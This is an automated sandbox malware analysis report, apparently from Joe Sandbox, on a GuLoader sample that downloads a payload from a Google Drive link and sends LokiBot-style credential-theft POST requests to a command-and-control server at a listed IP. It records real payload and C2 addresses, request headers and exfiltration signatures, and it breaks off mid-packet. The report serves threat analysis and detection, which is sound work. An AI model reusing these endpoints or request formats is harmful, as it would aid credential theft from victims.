

JoeSandbox Cloud BASIC



ID: 483722

Sample Name:

SecuriteInfo.com.__vbaHresultCheckObj.22789.613

Cookbook: default.jbs

Time: 12:13:33

Date: 15/09/2021

Version: 33.0.0 White Diamond

Table of Contents

Table of Contents	2
Windows Analysis Report SecuriteInfo.com.____vbaHresultCheckObj.22789.613	4
Overview	4
General Information	4
Detection	4
Signatures	4
Classification	4
Process Tree	4
Malware Configuration	4
Threatname: GuLoader	4
Yara Overview	4
Memory Dumps	4
Sigma Overview	4
Jbx Signature Overview	5
AV Detection:	5
Networking:	5
System Summary:	5
Data Obfuscation:	5
Malware Analysis System Evasion:	5
Anti Debugging:	5
Stealing of Sensitive Information:	5
Mitre Att&ck Matrix	5
Behavior Graph	6
Screenshots	6
Thumbnails	6
Antivirus, Machine Learning and Genetic Malware Detection	7
Initial Sample	7
Dropped Files	7
Unpacked PE Files	7
Domains	8
URLs	8
Domains and IPs	8
Contacted Domains	8
Contacted URLs	8
URLs from Memory and Binaries	8
Contacted IPs	8
Public	8
General Information	8
Simulations	9
Behavior and APIs	9
Joe Sandbox View / Context	9
IPs	9
Domains	10
ASN	10
JA3 Fingerprints	10
Dropped Files	11
Created / dropped Files	11
Static File Info	12
General	12
File Icon	12
Static PE Info	12
General	12
Entrypoint Preview	12
Data Directories	12
Sections	12
Resources	13
Imports	13
Version Infos	13
Possible Origin	13
Network Behavior	13
Snort IDS Alerts	13
Network Port Distribution	14
TCP Packets	14
UDP Packets	14
DNS Queries	14
DNS Answers	14
HTTP Request Dependency Graph	14
HTTP Packets	14
HTTPS Proxied Packets	16
Code Manipulations	27
Statistics	27
Behavior	27
System Behavior	27

Analysis Process: SecuriteInfo.com. __vbaHresultCheckObj.22789.exe PID: 6388 Parent PID: 4160	27
General	27
Analysis Process: SecuriteInfo.com. __vbaHresultCheckObj.22789.exe PID: 7048 Parent PID: 6388	27
General	27
File Activities	27
File Created	28
File Deleted	28
File Moved	28
File Written	28
File Read	28
Disassembly	28
Code Analysis	28

Windows Analysis Report SecuriteInfo.com.__vbaHresu...

Overview

General Information

Sample Name:

SecuriteInfo.com.__vbaHresultCheckObj.22789.613 (renamed file extension from 613 to exe)

Analysis ID:

483722

MD5:

308fb834ee02960.

SHA1:

3162aff052c28b2..

SHA256:

a08af8c30e5a30a.

Tags:

exe

Infos:

Most interesting Screenshot:

Detection

MALICIOUS

SUSPICIOUS

CLEAN

UNKNOWN

GuLoader

Score:

100

Range:

0 - 100

Whitelisted:

false

Confidence:

100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e....

Potential malicious icon found

Multi AV Scanner detection for subm...

GuLoader behavior detected

Multi AV Scanner detection for doma...

Yara detected GuLoader

Hides threads from debuggers

Tries to harvest and steal Putty / Wi...

Tries to detect Any.run

Tries to harvest and steal ftp login c...

Tries to detect sandboxes and other...

Tries to detect virtualization through...

C2 URLs / IPs found in malware con...

Tries to steal Mail credentials (via fil...

Classification

Process Tree

System is w10x64

SecuriteInfo.com.__vbaHresultCheckObj.22789.exe (PID: 6388 cmdline: 'C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe' MD5: 308FB834EE02960EC122CF34712FA871)

SecuriteInfo.com.__vbaHresultCheckObj.22789.exe (PID: 7048 cmdline: 'C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe' MD5: 308FB834EE02960EC122CF34712FA871)

cleanup

Malware Configuration

Threatname: GuLoader

{

"Payload URL": "https://drive.google.com/uc?export=download&id=16hJeQVa7vEC"

}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.503499325.0000000002AD 0000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security	

Sigma Overview

Copyright Joe Security LLC 2021

Page 4 of 28

No Sigma rule has matched

Jbx Signature Overview

 Click to jump to signature section

AV Detection:



Found malware configuration

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for domain / URL

Networking:



Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

C2 URLs / IPs found in malware configuration

System Summary:



Potential malicious icon found

Data Obfuscation:



Yara detected GuLoader

Malware Analysis System Evasion:



Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Anti Debugging:



Hides threads from debuggers

Stealing of Sensitive Information:



GuLoader behavior detected

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to harvest and steal browser information (history, passwords, etc)

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection 1 1	Masquerading 1	OS Credential Dumping 2	Security Software Discovery 4 2 1	Remote Services	Email Collection 1	Exfiltration Over Other Network Medium	Encrypted Channel 1 1	Eavesdrop Insecure Network Communic



Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.__vbaHresultCheckObj.22789.exe	24%	Virustotal		Browse
SecuriteInfo.com.__vbaHresultCheckObj.22789.exe	16%	ReversingLabs	Win32.Trojan.Mucc	

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://136.243.159.53/~element/page.php?id=121	7%	Virustotal		Browse
http://136.243.159.53/~element/page.php?id=121	0%	Avira URL Cloud	safe	
http://136.243.159.53/~element/page.php?id=121.	0%	Avira URL Cloud	safe	

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	172.217.168.78	true	false		high
googlehosted.l.googleusercontent.com	172.217.168.65	true	false		high
doc-0c-5o-docs.googleusercontent.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://https://doc-0c-5o-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc717deffksulhg5h7mbp1/v3agssaj4m1da9uvntfjbdrnuso7gs0u/1631701050000/14094524972347321979/*16hJeQVa7vECqqXwxmeW5iOBX_hPCAorF?e=download	false		high
http://136.243.159.53/~element/page.php?id=121	true	7%, Virustotal, Browse - Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Contacted IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.217.168.78	drive.google.com	United States		15169	GOOGLEUS	false
136.243.159.53	unknown	Germany		24940	HETZNER-ASDE	true
172.217.168.65	googlehosted.l.googleusercontent.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	483722
Start date:	15.09.2021
Start time:	12:13:33
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 0s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	SecuriteInfo.com.__vbaHresultCheckObj.22789.613 (renamed file extension from 613 to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	31

Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	• HCA enabled • EGA enabled • HDC enabled • AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@3/2@2/3
EGA Information:	Failed
HDC Information:	• Successful, ratio: 21.4% (good quality ratio 8.4%) • Quality average: 21.3% • Quality standard deviation: 32%
HCA Information:	Failed
Cookbook Comments:	• Adjust boot time • Enable AMSI • Override analysis time to 240s for sample files taking high CPU consumption
Warnings:	Show All

Simulations

Behavior and APIs

Time	Type	Description
12:18:27	API Interceptor	2x Sleep call for process: SecuriteInfo.com.__vbaHresultCheckObj.22789.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
136.243.159.53	MMLS-SPY-6476645.xlsx	Get hash	malicious	Browse	• 136.243.159.53/~element/page.php?id=484
	Invoice.xlsx	Get hash	malicious	Browse	• 136.243.159.53/~element/page.php?id=484
	#U65b0#U7684#U8b49#U66f8#U8868#U683c.pdf.exe	Get hash	malicious	Browse	• 136.243.159.53/~element/page.php?id=477
	SMK_15587 90426.exe	Get hash	malicious	Browse	• 136.243.159.53/~element/page.php?id=432
	RFQ 001024062021#U00b7pdf.exe	Get hash	malicious	Browse	• 136.243.159.53/~element/page.php?id=121
	Draft Invoice delivery Receipts.exe	Get hash	malicious	Browse	• 136.243.159.53/~element/page.php?id=474
	Obavestjenje o prilivu 1101121#U00b7415154#U00b7PDF.exe	Get hash	malicious	Browse	• 136.243.159.53/~element/page.php?id=172
	DlayFY1RYdPAJR2.exe	Get hash	malicious	Browse	• 136.243.159.53/~element/page.php?id=470

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
	order.exe	Get hash	malicious	Browse	136.243.159.53/~element/page.php?id=449
	Purchase Order0019.exe	Get hash	malicious	Browse	136.243.159.53/~element/page.php?id=467
	jinsung trading.exe	Get hash	malicious	Browse	136.243.159.53/~element/page.php?id=443

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HETZNER-ASDE	FjtSz0VShQ.exe	Get hash	malicious	Browse	195.201.225.248
	w9CH3AAVOp.exe	Get hash	malicious	Browse	116.203.165.54
	MMLS-SPY-6476645.xlsx	Get hash	malicious	Browse	136.243.159.53
	746353_invoice_copy.vbs	Get hash	malicious	Browse	144.76.136.153
	7Tat85Af0C.exe	Get hash	malicious	Browse	116.203.165.54
	luMr35jt8z.exe	Get hash	malicious	Browse	95.217.152.142
	SHIPPING DOCUMENT.xlsx	Get hash	malicious	Browse	168.119.93.163
	L5q2UZAWzY.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.Trojan.DownLoader43.21162.28718.exe	Get hash	malicious	Browse	195.201.225.248
	hu5De62l6f.exe	Get hash	malicious	Browse	195.201.225.248
	cwCpwXnpg4.exe	Get hash	malicious	Browse	195.201.225.248
	XbvAoRKnFm.exe	Get hash	malicious	Browse	88.99.66.31
	SacEedFBvw.exe	Get hash	malicious	Browse	195.201.225.248
	setup_x86_x64_install.exe	Get hash	malicious	Browse	88.99.66.31
	HBW PAYMENT LIST FOR 2021_20210809.xlsx	Get hash	malicious	Browse	144.76.201.136
	18-ITEMS-RECEIPT.vbs	Get hash	malicious	Browse	144.76.136.153
	7-Items-receipt.vbs	Get hash	malicious	Browse	144.76.136.153
	TEHYEE.VBS	Get hash	malicious	Browse	168.119.43.146
	9 ITEMS INVOICE RECEIPT.vbs	Get hash	malicious	Browse	144.76.136.153
	AQjULTL4bf.exe	Get hash	malicious	Browse	144.76.112.41

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	w9CH3AAVOp.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	Halkbank02.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	DIZa7n6Pjl.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	7Tat85Af0C.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	86jLExtwqR.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	6WtKevhqlg.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	oLn3NAKPzu.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	hd9uHo4dot.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	47U9elz5bG.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	FaxGUO65DE.391343-Faa.html	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	FaxGUO65DE.391343-Faa.html	Get hash	malicious	Browse	172.217.168.78 172.217.168.65

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
	x13NYP60fd.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	#Ud83d#Udd09_3pm.html	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	HSBC Customer Information.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	4478884ce2cf578bf0a0d2484fc8221e5ff63d7cbc73d5200b acbd6e2796e017.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	aZq3gco8Ab.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	Medical-Engagement-Scale-Questionnaire.msi	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	setup_x86_x64_install.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	CI and PL of CMZBD-210090.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65
	Aplieco_6635.exe	Get hash	malicious	Browse	172.217.168.78 172.217.168.65

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck	
Process:	C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\414045e2d09286d5db2581e0d955d358 _d06ed635-68f6-4e9a-955c-4899f5f57b9a	
Process:	C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe
File Type:	data
Category:	dropped
Size (bytes):	598
Entropy (8bit):	0.6390116820665388
Encrypted:	false
SSDEEP:	3:/lbOllbOllbOllbOllbOllbOllbON:+
MD5:	E306B2B657314B7CA1B899F1A8B2A979
SHA1:	DDF029D39D1A076A4218049CBD5143EE64A0D13B
SHA-256:	A3284A821DC0F8281285B68E3F1F2712F6D5B97E605233AC91235F780D55DCE4
SHA-512:	EF935FBEDB6A39D819F650912E4E72355A6B395B01D15DE89CB30045A7330936CC1964C3CA771F8A9327043D734D5CD252DD91DE858A28E97283E310A988E41F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	user.....user.....user.....user.....user.....user.....user.....user.....user.

Static File Info

General	
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.237444604576548
TrID:	- Win32 Executable (generic) a (10002005/4) 99.15% - Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% - Generic Win/DOS Executable (2004/3) 0.02% - DOS Executable Generic (2002/1) 0.02% - Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.__vbaHresultCheckObj.22789.exe
File size:	122880
MD5:	308fb834ee02960ec122cf34712fa871
SHA1:	3162aff052c28b2ebf265eaf5eadd0311e4299d
SHA256:	a08af8c30e5a30a847fc94e370082ff8b9c9c7d5317d4fed0c3b4bc5854a496f
SHA512:	23e725c55f51d22995d602023357e8ed971b0659c76ddd0a559ff381c72952576ebbc649733878dfd661bc05700f9cd85c38c44d98a8dc0a79aee9ece58d0ef4
SSDEEP:	1536:RrXWewJNHWF5O8MDyhgdRjL3sn8f9T8o7ahfIRorEjlvIP:RrXWZHG58Ghi3Pp8PrEcvIP
File Content Preview:	MZ.....@.....!..L.!Th is program cannot be run in DOS mode...\$.....#...B...B ...B..L^...B...`...B...d...B..Rich.B.....PE..L.....G.....@.....@.....

File Icon

	
Icon Hash:	20047c7c70f0e004

Static PE Info

General	
Entrypoint:	0x4017ac
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	
Time Stamp:	0x47E1D28C [Thu Mar 20 02:57:16 2008 UTC]
TLS Callbacks:	
CLR (.Net) Version:	
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	4d0b2c4c35fea49148bb1439759df35a

Entrypoint Preview

Data Directories

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x190f0	0x1a000	False	0.429715670072	data	6.66947979722	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x1b000	0x119c	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.rsrc	0x1d000	0x16f6	0x2000	False	0.242919921875	data	2.91839077236	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Imports

Version Infos

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States	
Norwegian	Norway	

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/15/21-12:18:26.905443	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49792	80	192.168.2.3	136.243.159.53
09/15/21-12:18:26.905443	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49792	80	192.168.2.3	136.243.159.53
09/15/21-12:18:26.905443	TCP	2025381	ET TROJAN LokiBot Checkin	49792	80	192.168.2.3	136.243.159.53
09/15/21-12:18:26.905443	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49792	80	192.168.2.3	136.243.159.53
09/15/21-12:18:26.905443	TCP	2410	WEB-PHP IGeneric Free Shopping Cart page.php access	49792	80	192.168.2.3	136.243.159.53
09/15/21-12:18:27.518074	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49793	80	192.168.2.3	136.243.159.53
09/15/21-12:18:27.518074	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49793	80	192.168.2.3	136.243.159.53
09/15/21-12:18:27.518074	TCP	2025381	ET TROJAN LokiBot Checkin	49793	80	192.168.2.3	136.243.159.53
09/15/21-12:18:27.518074	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49793	80	192.168.2.3	136.243.159.53
09/15/21-12:18:27.518074	TCP	2410	WEB-PHP IGeneric Free Shopping Cart page.php access	49793	80	192.168.2.3	136.243.159.53
09/15/21-12:18:28.106281	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49794	80	192.168.2.3	136.243.159.53
09/15/21-12:18:28.106281	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49794	80	192.168.2.3	136.243.159.53
09/15/21-12:18:28.106281	TCP	2025381	ET TROJAN LokiBot Checkin	49794	80	192.168.2.3	136.243.159.53
09/15/21-12:18:28.106281	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49794	80	192.168.2.3	136.243.159.53
09/15/21-12:18:28.106281	TCP	2410	WEB-PHP IGeneric Free Shopping Cart page.php access	49794	80	192.168.2.3	136.243.159.53
09/15/21-12:18:28.705273	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49795	80	192.168.2.3	136.243.159.53
09/15/21-12:18:28.705273	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49795	80	192.168.2.3	136.243.159.53
09/15/21-12:18:28.705273	TCP	2025381	ET TROJAN LokiBot Checkin	49795	80	192.168.2.3	136.243.159.53
09/15/21-12:18:28.705273	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49795	80	192.168.2.3	136.243.159.53
09/15/21-12:18:28.705273	TCP	2410	WEB-PHP IGeneric Free Shopping Cart page.php access	49795	80	192.168.2.3	136.243.159.53

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 15, 2021 12:18:23.777498960 CEST	192.168.2.3	8.8.8.8	0x48	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
Sep 15, 2021 12:18:24.921278954 CEST	192.168.2.3	8.8.8.8	0xbc87	Standard query (0)	doc-0c-5o-docs.googleusercontent.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 15, 2021 12:18:23.824287891 CEST	8.8.8.8	192.168.2.3	0x48	No error (0)	drive.google.com		172.217.168.78	A (IP address)	IN (0x0001)
Sep 15, 2021 12:18:24.956243992 CEST	8.8.8.8	192.168.2.3	0xbc87	No error (0)	doc-0c-5o-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 12:18:24.956243992 CEST	8.8.8.8	192.168.2.3	0xbc87	No error (0)	googlehosted.l.googleusercontent.com		172.217.168.65	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

- drive.google.com - doc-0c-5o-docs.googleusercontent.com 136.243.159.53
--

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49790	172.217.168.78	443	C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe

Timestamp	kBytes transferred	Direction	Data
-----------	--------------------	-----------	------

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49791	172.217.168.65	443	C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe

Timestamp	kBytes transferred	Direction	Data
-----------	--------------------	-----------	------

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49792	136.243.159.53	80	C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe

Timestamp	kBytes transferred	Direction	Data
-----------	--------------------	-----------	------

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 12:18:26.905442953 CEST	5985	OUT	POST /~element/page.php?id=121 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 136.243.159.53 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: BA1747BC Content-Length: 190 Connection: close
Sep 15, 2021 12:18:27.261260033 CEST	5985	IN	HTTP/1.1 404 Not Found Date: Wed, 15 Sep 2021 10:18:26 GMT Server: Apache Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body> Not Found The requested URL was not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49793	136.243.159.53	80	C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 12:18:27.518074036 CEST	5986	OUT	POST /~element/page.php?id=121 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 136.243.159.53 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: BA1747BC Content-Length: 190 Connection: close
Sep 15, 2021 12:18:27.893892050 CEST	5987	IN	HTTP/1.1 404 Not Found Date: Wed, 15 Sep 2021 10:18:27 GMT Server: Apache Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body> Not Found The requested URL was not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49794	136.243.159.53	80	C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 12:18:28.106281042 CEST	5988	OUT	POST /~element/page.php?id=121 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 136.243.159.53 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: BA1747BC Content-Length: 163 Connection: close

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 12:18:28.481360912 CEST	5989	IN	HTTP/1.1 404 Not Found Date: Wed, 15 Sep 2021 10:18:28 GMT Server: Apache Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body> Not 